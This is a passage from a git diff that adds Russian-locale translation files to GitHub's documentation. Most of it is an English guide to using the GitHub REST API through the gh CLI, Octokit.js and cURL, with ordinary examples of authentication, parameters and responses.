использовать API базы данных Git. Если этот статус ответа сохраняется, вам поможет {% data variables.contact.contact_support %}. + +![Схема базы данных Git](/assets/images/git-database-overview.png) + +Дополнительные сведения о базе данных объектов Git см. в главе [Основы Git](http://git-scm.com/book/en/v1/Git-Internals) книги "Pro Git". + +Например, если вы хотите зафиксировать изменение файла в репозитории, выполните следующие действия: + +* Получите текущий объект фиксации. +* Извлеките дерево, на которое он указывает. +* Извлеките содержимое BLOB-объекта этого дерева для конкретного пути к файлу. +* Измените содержимое и опубликуйте новый BLOB-объект с новым содержимым, получив SHA BLOB-объекта. +* Опубликуйте новый объект дерева, заменив указатель пути к файлу на SHA BLOB-объекта, чтобы получить SHA дерева. +* Создайте объект фиксации с текущим SHA фиксации в качестве родительского и SHA нового дерева, получив SHA фиксации. +* Обновите ссылку на ветвь, чтобы указать на новый SHA фиксации. + +Это может показаться сложной процедурой, но на самом деле все довольно просто, если вы понимаете принцип. Использование API дает вам много возможностей. + +## Проверка возможности слияния запросов на вытягивание + +{% warning %} + +**Предупреждение.** Не используйте Git напрямую или [`GET /repos/{owner}/{repo}/git/refs/{ref}`](/rest/reference/git#get-a-reference) для обновлений ссылок Git `merge`, так как это содержимое устаревает без предупреждения. + +{% endwarning %} + +Потребляющий API должен явно запросить запрос на вытягивание для создания _тестовой_ фиксации слияния. _Тестовая_ фиксация слияния создается при просмотре запроса на вытягивание в пользовательском интерфейсе и отображении кнопки "Слияние" или при [получении](/rest/reference/pulls#get-a-pull-request), [создании](/rest/reference/pulls#create-a-pull-request) или [изменении](/rest/reference/pulls#update-a-pull-request) запроса на вытягивание с помощью REST API. Без этого запроса ссылки Git `merge` будут устаревать до того, как кто-то просмотрит запрос на вытягивание. + +Если вы используете методы опроса, которые создают устаревшие ссылки Git `merge`, GitHub рекомендует выполнить следующие действия, чтобы получить последние изменения из ветви по умолчанию: + +1. Получите веб-перехватчик запроса на вытягивание. +2. Вызовите [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request), чтобы запустить фоновое задание для создания кандидата на фиксацию слияния. +3. Опросите репозиторий, используя [`GET /repos/{owner}/{repo}/pulls/{pull_number}`](/rest/reference/pulls#get-a-pull-request), чтобы узнать, является ли атрибут `mergeable` `true` или `false`. Вы можете использовать Git напрямую или [`GET /repos/{owner}/{repo}/git/refs/{ref}`](/rest/reference/git#get-a-reference) для обновления только ссылок Git `merge` после выполнения предыдущих шагов. diff --git a/translations/ru-RU/content/rest/guides/getting-started-with-the-rest-api.md b/translations/ru-RU/content/rest/guides/getting-started-with-the-rest-api.md new file mode 100644 index 000000000000..ed666cdb27d6 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/getting-started-with-the-rest-api.md @@ -0,0 +1,783 @@ +--- +title: Getting started with the REST API +intro: 'Learn how to use the {% data variables.product.prodname_dotcom %} REST API.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Using the API +miniTocMaxHeadingLevel: 3 +--- + +## About the {% data variables.product.prodname_dotcom %} REST API + +This article describes how to use the {% data variables.product.prodname_dotcom %} REST API using {% data variables.product.prodname_cli %}, JavaScript, or cURL. For a quickstart guide, see "[Quickstart for GitHub REST API](/rest/quickstart)." + +When you make a request to the REST API, you will specify an HTTP method and a path. Additionally, you might also specify request headers and path, query, or body parameters. The API will return the response status code, response headers, and potentially a response body. + +The REST API reference documentation describes the HTTP method, path, and parameters for every operation. It also displays example requests and responses for each operation. For more information, see the [REST reference documentation](/rest). + +For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)." + +## Making a request + +To make a request, first find the HTTP method and the path for the operation that you want to use. For example, the "Get Octocat" operation uses the `GET` method and the `/octocat` path. For the full reference documentation for this operation, see "[Get Octocat](/rest/meta#get-octocat)." + +{% cli %} + +{% note %} + +**Note**: You must install {% data variables.product.prodname_cli %} in order to use the commands in the {% data variables.product.prodname_cli %} examples. For installation instructions, see the [{% data variables.product.prodname_cli %} repository](https://github.com/cli/cli#installation). + +{% endnote %} + +If you are not already authenticated to {% data variables.product.prodname_cli %}, you must use the `gh auth login` subcommand to authenticate before making any requests. For more information, see "[Authenticating](#authenticating)." + +To make a request using {% data variables.product.prodname_cli %}, use the `api` subcommand along with the path. Use the `--method` or `-X` flag to specify the method. + +```shell +gh api /octocat --method GET +``` + +{% endcli %} + +{% javascript %} + +{% note %} + +**Note**: You must install and import `octokit` in order to use the Octokit.js library used in the JavaScript examples. For more information, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). + +{% endnote %} + +To make a request using JavaScript, you can use Octokit.js. For more information, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). + +First, create an instance of `Octokit`.{% ifversion ghes or ghae %} Set the base URL to `{% data variables.product.api_url_code %}`. Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %} + +```javascript +const octokit = new Octokit({ {% ifversion ghes or ghae %} + baseUrl: "{% data variables.product.api_url_code %}", +{% endif %}}); +``` + +Then, use the `request` method to make requests. Pass the HTTP method and path as the first argument. + +```javascript +await octokit.request("GET /octocat", {}); +``` + +{% endjavascript %} + +{% curl %} + +Prepend the base URL for the {% data variables.product.prodname_dotcom %} REST API, `{% data variables.product.api_url_code %}`, to the path to get the full URL: `{% data variables.product.api_url_code %}/octocat`.{% ifversion ghes or ghae %} Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %} + +Use the `curl` command in your command line. Use the `--request` or `-X` flag followed by the HTTP method. Use the `--url` flag followed by the full URL. + +```shell +curl --request GET \ +--url "https://api.github.com/octocat" +``` + +{% note %} + +**Note**: If you get a message similar to "command not found: curl", you may need to download and install cURL. For more information, see [the cURL project download page](https://curl.se/download.html). + +{% endnote %} + +{% endcurl %} + +Continue reading to learn how to authenticate, send parameters, and use the response. + +## Authenticating + +Many operations require authentication or return additional information if you are authenticated. Additionally, you can make more requests per hour when you are authenticated.{% cli %} Although some REST API operations are accessible without authentication, you must authenticate to {% data variables.product.prodname_cli %} in order to use the `api` subcommand.{% endcli %} + +### About tokens + +You can authenticate your request by adding a token. + +If you want to use the {% data variables.product.company_short %} REST API for personal use, you can create a {% data variables.product.pat_generic %}. The REST API operations used in this article require `repo` scope for {% data variables.product.pat_v1_plural %}{% ifversion pat-v2 %} or, unless otherwise noted, read-only access to public repositories for {% data variables.product.pat_v2 %}s{% endif %}. Other operations may require different scopes{% ifversion pat-v2%} or permissions{% endif %}. For more information about creating a {% data variables.product.pat_generic %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +If you want to use the API on behalf of an organization or another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. If an operation is available to {% data variables.product.prodname_github_apps %}, the REST reference documentation for that operation will say "Works with GitHub Apps." The REST API operations used in this article require `issues` read and write permissions for {% data variables.product.prodname_github_apps %}. Other operations may require different permissions. For more information, see "[Creating a GitHub App](/developers/apps/building-github-apps/creating-a-github-app)", "[Authenticating with GitHub Apps](/developers/apps/building-github-apps/authenticating-with-github-apps), and "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." + +If you want to use the API in a {% data variables.product.prodname_actions %} workflow, {% data variables.product.company_short %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. You can grant permissions to the `GITHUB_TOKEN` with the `permissions` key. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)." + +### Authentication example + +{% cli %} + +With {% data variables.product.prodname_cli %}, you don't need to create an access token in advance. Use the `auth login` subcommand to authenticate to {% data variables.product.prodname_cli %}: + +```shell +gh auth login +``` + +You can use the `--scopes` flag to specify what scopes you want. If you want to authenticate with a token that you created, you can use the `--with-token` flag. For more information, see the [{% data variables.product.prodname_cli %} `auth login` documentation](https://cli.github.com/manual/gh_auth_login). + +{% endcli %} + +{% javascript %} + +{% warning %} + +**Warning**: Treat your access token like a password. + +To keep your token secure, you can store your token as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +{% ifversion ghec or fpt %}You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %} + +If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely. + +{% endwarning %} + +To authenticate with the Octokit.js library, you can pass your token when you create an instance of `Octokit`. Replace `YOUR-TOKEN` with your token.{% ifversion ghes or ghae %} Replace `[hostname]` with the name of {% data variables.location.product_location %}.{% endif %} + +```javascript +const octokit = new Octokit({ {% ifversion ghes or ghae %} + baseUrl: "{% data variables.product.api_url_code %}",{% endif %} + auth: 'YOUR-TOKEN', +}); +``` + +{% endjavascript %} + +{% curl %} + +{% warning %} + +**Warning**: Treat your access token like a password. + +To help keep your account secure, you can use {% data variables.product.prodname_cli %} instead of cURL. {% data variables.product.prodname_cli %} will take care of authentication for you. For more information, see the {% data variables.product.prodname_cli %} version of this page. + +{% ifversion ghec or fpt %}You can also store your token as a {% data variables.product.prodname_codespaces %} secret and use the command line through {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %} + +If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely. + +{% endwarning %} + +With cURL, you will send an `Authorization` header with your token. Replace `YOUR-TOKEN` with your token: + +```shell +curl --request GET \ +--url "https://api.github.com/octocat" \ +--header "Authorization: Bearer YOUR-TOKEN" +``` + +{% note %} + +**Note:** {% data reusables.getting-started.bearer-vs-token %} + +{% endnote %} + +{% endcurl %} + +### Authentication example for {% data variables.product.prodname_actions %} + +{% cli %} + +You can also use the `run` keyword to execute {% data variables.product.prodname_cli %} commands in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." + +Instead of using the `gh auth login` command, pass your token as an environment variable called `GH_TOKEN`. {% data variables.product.prodname_dotcom %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +```yaml +jobs: + use_api: + runs-on: ubuntu-latest + permissions: {} + steps: + - env: + GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + gh api /octocat +``` + +{% endcli %} + +{% javascript %} + +You can also use the `run` keyword to execute your JavaScript scripts in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." + +{% data variables.product.prodname_dotcom %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +The following example workflow: + +1. Checks out the repository content +1. Sets up Node.js +1. Installs `octokit` +1. Stores the value of `GITHUB_TOKEN` as an environment variable called `TOKEN` and runs `.github/actions-scripts/use-the-api.mjs`, which can access that environment variable as `process.env.TOKEN` + +Example workflow: + +```yaml +on: + workflow_dispatch: +jobs: + use_api_via_script: + runs-on: ubuntu-latest + permissions: {} + steps: + - name: Check out repo content + uses: {% data reusables.actions.action-checkout %} + + - name: Setup Node + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.17.0' + cache: npm + + - name: Install dependencies + run: npm install octokit + + - name: Run script + env: + TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + node .github/actions-scripts/use-the-api.mjs +``` + +Example JavaScript script, with the file path `.github/actions-scripts/use-the-api.mjs`: + +```javascript +import { Octokit } from "octokit"; + +const octokit = new Octokit({ {% ifversion ghes or ghae %} + baseUrl: "{% data variables.product.api_url_code %}",{% endif %} + auth: process.env.TOKEN, +}); + +await octokit.request("GET /octocat", {}); +``` + +Instead of storing your script in a separate file and executing the script from your workflow, you can use the `actions/github-script` action to run a script. For more information, see the [actions/github-script README](https://github.com/actions/github-script). + +```yaml +jobs: + use_api_via_script: + runs-on: ubuntu-latest + permissions: {} + steps: + - uses: {% data reusables.actions.action-github-script %} + with: + github-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + script: | + await github.request('GET /octocat', {}) +``` + +{% endjavascript %} + +{% curl %} + +You can also use the `run` keyword to execute cURL commands in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." + +{% data variables.product.prodname_dotcom %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +```yaml +jobs: + use_api: + runs-on: ubuntu-latest + permissions: {} + steps: + - env: + GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + curl --request GET \ + --url "https://api.github.com/octocat" \ + --header "Authorization: Bearer $GH_TOKEN" +``` + +{% endcurl %} + +## Using headers + +Most operations specify that you should pass an `Accept` header with a value of `application/vnd.github+json`. Other operations may specify that you should send a different `Accept` header or additional headers. + +{% cli %} + +To send a header with {% data variables.product.prodname_cli %}, use the `--header` or `-H` flag followed by the header in `key: value` format. + +```shell +gh api --header 'Accept: application/vnd.github+json' --method GET /octocat +``` + +{% endcli %} + +{% javascript %} + +The Octokit.js library automatically passes the `Accept: application/vnd.github+json` header. To pass additional headers or a different `Accept` header, add a `headers` property to the object that is passed as a second argument to the `request` method. The value of the `headers` property is an object with the header names as keys and header values as values. For example, to send a `content-type` header with a value of `text/plain`: + +```javascript +await octokit.request("GET /octocat", { + headers: { + "content-type": "text/plain", + }, +}); +``` + +{% endjavascript %} + +{% curl %} + +To send a header with cURL, use the `--header` or `-H` flag followed by the header in `key: value` format. + +```shell +curl --request GET \ +--url "https://api.github.com/octocat" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" +``` + +{% endcurl %} + +## Using path parameters + +Path parameters modify the operation path. For example, the "List repository issues" path is `/repos/{owner}/{repo}/issues`. The curly brackets `{}` denote path parameters that you need to specify. In this case, you must specify the repository owner and name. For the reference documentation for this operation, see "[List repository issues](/rest/issues/issues#list-repository-issues)." + +{% cli %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** In order for this command to work for {% data variables.location.product_location %}, replace `octocat/Spoon-Knife` with a repository owned by {% data variables.location.product_location %}. Otherwise, rerun the `gh auth login` command to authenticate to {% data variables.product.prodname_dotcom_the_website %} instead of {% data variables.location.product_location %}. + +{% endnote %} +{% endif %} + +To get issues from the `octocat/Spoon-Knife` repository, replace `{owner}` with `octocat` and `{repo}` with `Spoon-Knife`. + +```shell +gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues +``` + +{% endcli %} + +{% javascript %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** In order for this example to work for {% data variables.location.product_location %}, replace `octocat/Spoon-Knife` with a repository owned by {% data variables.location.product_location %}. Otherwise, create a new `Octokit` instance and do not specify `baseURL`. + +{% endnote %} +{% endif %} + +When you make a request with Octokit.js, all parameters, including path parameters, are passed in an object as the second argument to the `request` method. To get issues from the `octocat/Spoon-Knife` repository, specify `owner` as `octocat` and `repo` as `Spoon-Knife`. + +```javascript +await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife" +}); +``` + +{% endjavascript %} + +{% curl %} + +To get issues from the `octocat/Spoon-Knife` repository, replace `{owner}` with `octocat` and `{repo}` with `Spoon-Knife`. To build the full path, prepend the base URL for the {% data variables.product.prodname_dotcom %} REST API, `https://api.github.com`: `https://api.github.com/repos/octocat/Spoon-Knife/issues`. + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** If you want to use {% data variables.location.product_location %} instead of {% data variables.product.prodname_dotcom_the_website %}, use `{% data variables.product.api_url_code %}` instead of `https://api.github.com` and replace `[hostname]` with the name of {% data variables.location.product_location %}. Replace `octocat/Spoon-Knife` with a repository owned by {% data variables.location.product_location %}. + +{% endnote %} +{% endif %} + +```shell +curl --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" +``` + +{% endcurl %} + +The operation returns a list of issues and data about each issue. For more information about using the response, see the "[Using the response](#using-the-response)" section. + +## Using query parameters + +Query parameters allow you to control what data is returned for a request. For example, a query parameter may let you specify how many items are returned when the response is paginated. + +By default, the "List repository issues" operation returns thirty issues, sorted in descending order by the date they were created. You can use the `per_page` parameter to return two issues instead of 30. You can use the `sort` parameter to sort the issues by the date they were last updated instead of by the date they were created. You can use the `direction` parameter to sort the results in ascending order instead of descending order. + +{% cli %} + +For {% data variables.product.prodname_cli %}, use the `-F` flag to pass a parameter that is a number, Boolean, or null. Use `-f` to pass string parameters. + +{% note %} + +**Note**: {% data variables.product.prodname_cli %} does not currently accept parameters that are arrays. For more information, see [this issue](https://github.com/cli/cli/issues/1484). + +{% endnote %} + +```shell +gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 -f sort=updated -f direction=asc +``` + +{% endcli %} + +{% javascript %} + +When you make a request with Octokit.js, all parameters, including query parameters, are passed in an object as the second argument to the `request` method. + +```javascript +await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + per_page: 2, + sort: "updated", + direction: "asc", +}); +``` + +{% endjavascript %} + +{% curl %} + +For cURL, add a `?` to the end of the path, then append your query parameter name and value in the form `parameter_name=value`. Separate multiple query parameters with `&`. + +```shell +curl --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2&sort=updated&direction=asc" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" +``` + +{% endcurl %} + +The operation returns a list of issues and data about each issue. For more information about using the response, see the "[Using the response](#using-the-response)" section. + +## Using body parameters + +Body parameters allow you to pass additional data to the API. For example, the "Create an issue" operation requires you to specify a title for the new issue. It also lets you specify other information, such as text to put in the issue body. For the full reference documentation for this operation, see "[Create an issue](/rest/issues/issues#create-an-issue)." + +The "Create an issue" operation uses the same path as the "List repository issues" operation in the examples above, but it uses a `POST` method instead of a `GET` method. + +{% cli %} + +For {% data variables.product.prodname_cli %}, use the `-F` flag to pass a parameter that is a number, Boolean, or null. Use `-f` to pass string parameters. + +{% note %} + +**Note**: {% data variables.product.prodname_cli %} does not currently accept parameters that are arrays. For more information, see [this issue](https://github.com/cli/cli/issues/1484). + +{% endnote %} + +```shell +gh api --header 'Accept: application/vnd.github+json' --method POST /repos/octocat/Spoon-Knife/issues -f title="Created with the REST API" -f body="This is a test issue created by the REST API" +``` + +{% endcli %} + +{% javascript %} + +{% ifversion pat-v2 %} + +{% note %} + +If you are using a {% data variables.product.pat_v2 %}, you must replace `octocat/Spoon-Knife` with a repository that you own or that is owned by an organization that you are a member of. Your token must have access to that repository and have read and write permissions for repository issues. For more information about creating a repository, see "[Create a repo](/get-started/quickstart/create-a-repo)." For more information about granting access and permissions to a {% data variables.product.pat_v2 %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} + +{% endif %} + +When you make a request with Octokit.js, all parameters, including body parameters, are passed in an object as the second argument to the `request` method. + +```javascript +await octokit.request("POST /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + title: "Created with the REST API", + body: "This is a test issue created by the REST API", +}); +``` + +{% endjavascript %} + +{% curl %} + +{% ifversion pat-v2 %} + +{% note %} + +If you are using a {% data variables.product.pat_v2 %}, you must replace `octocat/Spoon-Knife` with a repository that you own or that is owned by an organization that you are a member of. Your token must have access to that repository and have read and write permissions for repository issues. For more information about creating a repository, see "[Create a repo](/get-started/quickstart/create-a-repo)." For more information about granting access and permissions to a {% data variables.product.pat_v2 %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} + +{% endif %} + +For cURL, use the `--data` flag to pass the body parameters in a JSON object. + +```shell +curl --request POST \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" \ +--data '{ + "title": "Created with the REST API", + "body": "This is a test issue created by the REST API" +}' +``` + +{% endcurl %} + +The operation creates an issue and returns data about the new issue. In the response, find the `html_url` of your issue and navigate to your issue in the browser. For more information about using the response, see the "[Using the response](#using-the-response)" section. + +## Using the response + +### About the response code and headers + +Every request will return an HTTP status code that indicates the success of the response. For more information about response codes, see [the MDN HTTP response status code documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status). + +Additionally, the response will include headers that give more details about the response. Headers that start with `X-` or `x-` are custom to {% data variables.product.company_short %}. For example, the `x-ratelimit-remaining` and `x-ratelimit-reset` headers tell you how many requests you can make in a time period. + +{% cli %} + +To view the status code and headers, use the `--include` or `--i` flag when you send your request. + +For example, this request: + +```shell +gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 --include +``` + +returns the response code and headers like: + +```shell +HTTP/2.0 200 OK +Access-Control-Allow-Origin: * +Access-Control-Expose-Headers: ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset +Cache-Control: private, max-age=60, s-maxage=60 +Content-Security-Policy: default-src 'none' +Content-Type: application/json; charset=utf-8 +Date: Thu, 04 Aug 2022 19:56:41 GMT +Etag: W/"a63dfbcfdb73621e9d2e89551edcf9856731ced534bd7f1e114a5da1f5f73418" +Link: ; rel="next", ; rel="last" +Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin +Server: GitHub.com +Strict-Transport-Security: max-age=31536000; includeSubdomains; preload +Vary: Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With +X-Accepted-Oauth-Scopes: repo +X-Content-Type-Options: nosniff +X-Frame-Options: deny +X-Github-Api-Version-Selected: 2022-08-09 +X-Github-Media-Type: github.v3; format=json +X-Github-Request-Id: 1C73:26D4:E2E500:1EF78F4:62EC2479 +X-Oauth-Client-Id: 178c6fc778ccc68e1d6a +X-Oauth-Scopes: gist, read:org, repo, workflow +X-Ratelimit-Limit: 15000 +X-Ratelimit-Remaining: 14996 +X-Ratelimit-Reset: 1659645499 +X-Ratelimit-Resource: core +X-Ratelimit-Used: 4 +X-Xss-Protection: 0 +``` + +In this example, the response code is `200`, which indicates a successful request. + +{% endcli %} + +{% javascript %} + +When you make a request with Octokit.js, the `request` method returns a promise. If the request was successful, the promise resolves to an object that includes the HTTP status code of the response (`status`) and the response headers (`headers`). If an error occurs, the promise resolves to an object that includes the HTTP status code of the response (`status`) and the response headers (`response.headers`). + +You can use a `try/catch` block to catch an error if it occurs. For example, if the request in the following script is successful, the script will log the status code and the value of the `x-ratelimit-remaining` header. If the request was not successful, the script will log the status code, the value of the `x-ratelimit-remaining` header, and the error message. + +```javascript +try { + const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + per_page: 2, + }); + + console.log(`Success! Status: ${result.status}. Rate limit remaining: ${result.headers["x-ratelimit-remaining"]}`) + +} catch (error) { + console.log(`Error! Status: ${error.status}. Rate limit remaining: ${error.headers["x-ratelimit-remaining"]}. Message: ${error.response.data.message}`) +} +``` + +{% endjavascript %} + +{% curl %} + +To view the status code and headers, use the `--include` or `--i` flag when you send your request. + +For example, this request: + +```shell +curl --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" \ +--include +``` + +returns the response code and headers like: + +```shell +HTTP/2 200 +server: GitHub.com +date: Thu, 04 Aug 2022 20:07:51 GMT +content-type: application/json; charset=utf-8 +cache-control: public, max-age=60, s-maxage=60 +vary: Accept, Accept-Encoding, Accept, X-Requested-With +etag: W/"7fceb7e8c958d3ec4d02524b042578dcc7b282192e6c939070f4a70390962e18" +x-github-media-type: github.v3; format=json +link: ; rel="next", ; rel="last" +access-control-expose-headers: ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset +access-control-allow-origin: * +strict-transport-security: max-age=31536000; includeSubdomains; preload +x-frame-options: deny +x-content-type-options: nosniff +x-xss-protection: 0 +referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin +content-security-policy: default-src 'none' +x-ratelimit-limit: 15000 +x-ratelimit-remaining: 14996 +x-ratelimit-reset: 1659645535 +x-ratelimit-resource: core +x-ratelimit-used: 4 +accept-ranges: bytes +content-length: 4936 +x-github-request-id: 14E0:4BC6:F1B8BA:208E317:62EC2715 +``` + +In this example, the response code is `200`, which indicates a successful request. + +{% endcurl %} + +### About the response body + +Many operations will return a response body. Unless otherwise specified, the response body is in JSON format. For example, this request returns a list of issues with data about each issue: + +{% cli %} + +```shell +gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 +``` + +{% endcli %} + +{% javascript %} + +```javascript +await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + per_page: 2, +}); +``` + +{% endjavascript %} + +{% curl %} + +```shell +curl --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" +``` + +{% endcurl %} + +Unlike the GraphQL API where you specify what information you want, the REST API typically returns more information than you need. If desired, you can parse the response to pull out specific pieces of information. + +{% cli %} + +For example, you can use `>` to redirect the response to a file: + +```shell +gh api --header 'Accept: application/vnd.github+json' --method GET /repos/octocat/Spoon-Knife/issues -F per_page=2 > data.json +``` + +Then you can use jq to get the title and author ID of each issue: + +```shell +jq '.[] | {title: .title, authorID: .user.id}' data.json +``` + +The previous two commands return something like: + +``` +{ + "title": "Update index.html", + "authorID": 10701255 +} +{ + "title": "Edit index file", + "authorID": 53709285 +} +``` + +For more information about jq, see [the jq documentation](https://stedolan.github.io/jq/) and [jq play](https://jqplay.org/). + +{% endcli %} + +{% javascript %} + +For example, you can get the title and author ID of each issue: + +```javascript +try { + const result = await octokit.request("GET /repos/{owner}/{repo}/issues", { + owner: "octocat", + repo: "Spoon-Knife", + per_page: 2, + }); + + const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id}) + + console.log(titleAndAuthor) + +} catch (error) { + console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`) +} +``` + +{% endjavascript %} + +{% curl %} + +For example, you can use `>` to redirect the response to a file: + +```shell +curl --request GET \ +--url "https://api.github.com/repos/octocat/Spoon-Knife/issues?per_page=2" \ +--header "Accept: application/vnd.github+json" \ +--header "Authorization: Bearer YOUR-TOKEN" > data.json +``` + +Then you can use jq to get the title and author ID of each issue: + +```shell +jq '.[] | {title: .title, authorID: .user.id}' data.json +``` + +The previous two commands return something like: + +``` +{ + "title": "Update index.html", + "authorID": 10701255 +} +{ + "title": "Edit index file", + "authorID": 53709285 +} +``` + +For more information about jq, see [the jq documentation](https://stedolan.github.io/jq/) and [jq play](https://jqplay.org/). + +{% endcurl %} + +## Next steps + +This article demonstrated how to list and create issues in a repository. For more practice, try to comment on an issue, edit the title of an issue, or close an issue. For more information about these operations, see "[Create an issue comment](/rest/issues#create-an-issue-comment)" and "[Update an issue](/rest/issues/issues#update-an-issue)." + +For more information about the operations that you can use, see the [REST reference documentation](/rest). diff --git a/translations/ru-RU/content/rest/guides/index.md b/translations/ru-RU/content/rest/guides/index.md new file mode 100644 index 000000000000..70f1659897e8 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/index.md @@ -0,0 +1,35 @@ +--- +title: Guides +intro: 'Узнайте о том, как начать работу с REST API, настроить проверку подлинности и применять REST API для разных задач.' +redirect_from: + - /guides + - /v3/guides +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +children: + - /getting-started-with-the-rest-api + - /basics-of-authentication + - /discovering-resources-for-a-user + - /delivering-deployments + - /rendering-data-as-graphs + - /working-with-comments 